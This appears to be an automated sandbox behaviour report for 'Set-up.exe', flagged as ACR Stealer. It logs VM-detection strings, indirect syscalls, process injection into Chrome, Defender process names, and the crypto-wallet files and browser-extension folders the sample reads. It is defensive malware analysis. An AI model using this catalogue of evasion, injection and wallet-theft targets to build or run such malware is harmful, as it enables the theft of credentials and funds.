Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\Set-up.exe API/Special instruction interceptor: Address: 7FFCC372D304
Source: C:\Users\user\Desktop\Set-up.exe API/Special instruction interceptor: Address: 7FFCC372D744
Source: C:\Users\user\Desktop\Set-up.exe API/Special instruction interceptor: Address: 7FFCC3730154
Source: C:\Users\user\Desktop\Set-up.exe API/Special instruction interceptor: Address: 7FFCC372DA44
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\Set-up.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FF01A3 LdrLoadDll, 0_2_01FF01A3
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD09E1 mov eax, dword ptr fs:[00000030h] 0_2_01FD09E1
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD0421 mov edx, dword ptr fs:[00000030h] 0_2_01FD0421
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD0D91 mov eax, dword ptr fs:[00000030h] 0_2_01FD0D91
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1031 mov eax, dword ptr fs:[00000030h] 0_2_01FD1031
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1030 mov eax, dword ptr fs:[00000030h] 0_2_01FD1030
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_01FD1A1F mov eax, dword ptr fs:[00000030h] 0_2_01FD1A1F
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F85BC0 mov eax, dword ptr fs:[00000030h] 0_2_03F85BC0

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B1800000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BE0000 protect: page execute and read and write Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\Desktop\Set-up.exe NtAllocateVirtualMemory: Indirect: 0x3F8845D Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\Set-up.exe Thread register set: target process: 7228 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Thread register set: target process: 7260 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Thread register set: target process: 3888 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Thread register set: target process: 1692 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FC0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FD0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FE0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0008 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0010 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0018 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0020 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0028 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0030 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FF0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932B0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932C0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932D0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0008 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0010 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0018 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0020 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932F0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17C0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17D0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17E0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0008 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0010 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0018 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0020 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B1800000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BA0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BB0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BC0000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90000 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90008 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90010 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90018 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90020 Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BE0000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected ACR Stealer
Source: Yara match File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\Electrum\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\ElectronCash\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Electrum\wallets\??\C:\Users\All Users\AppData\Roaming\Electrum\wallets\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Electrum\wallets\??\C:\Users\Default\AppData\Roaming\Electrum\wallets\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Electrum\wallets\??\C:\Users\Default User\AppData\Roaming\Electrum\wallets\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Electrum\wallets\??\C:\Users\user\AppData\Roaming\Electrum\wallets\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Electrum\wallets\??\C:\Users\Public\AppData\Roaming\Electrum\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: exodus.conf.json
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Exodus\??\C:\Users\All Users\AppData\Roaming\Exodus\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Exodus\??\C:\Users\Default\AppData\Roaming\Exodus\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Exodus\??\C:\Users\Default User\AppData\Roaming\Exodus\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Exodus\??\C:\Users\user\AppData\Roaming\Exodus\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Exodus\??\C:\Users\Public\AppData\Roaming\Exodus``
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Ethereum\??\C:\Users\All Users\AppData\Roaming\Ethereum\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Ethereum\??\C:\Users\Default\AppData\Roaming\Ethereum\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Ethereum\??\C:\Users\Default User\AppData\Roaming\Ethereum\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Ethereum\??\C:\Users\user\AppData\Roaming\Ethereum\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Ethereum\??\C:\Users\Public\AppData\Roaming\Ethereum
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\Exodus
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\All Users\AppData\Roaming\Binance
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\Ethereum
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\Coinomi\Coinomi\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\MultiDoge
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: keystore
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Roaming\Ledger Live
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets I
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mjdmgoiobnbombmnbbdllfncjcmopfnc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klghhnkeealcohjjanjjdaeeggmfmlpl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oboonakemofpalcgghocfoadofidjkkk Jump to behavior
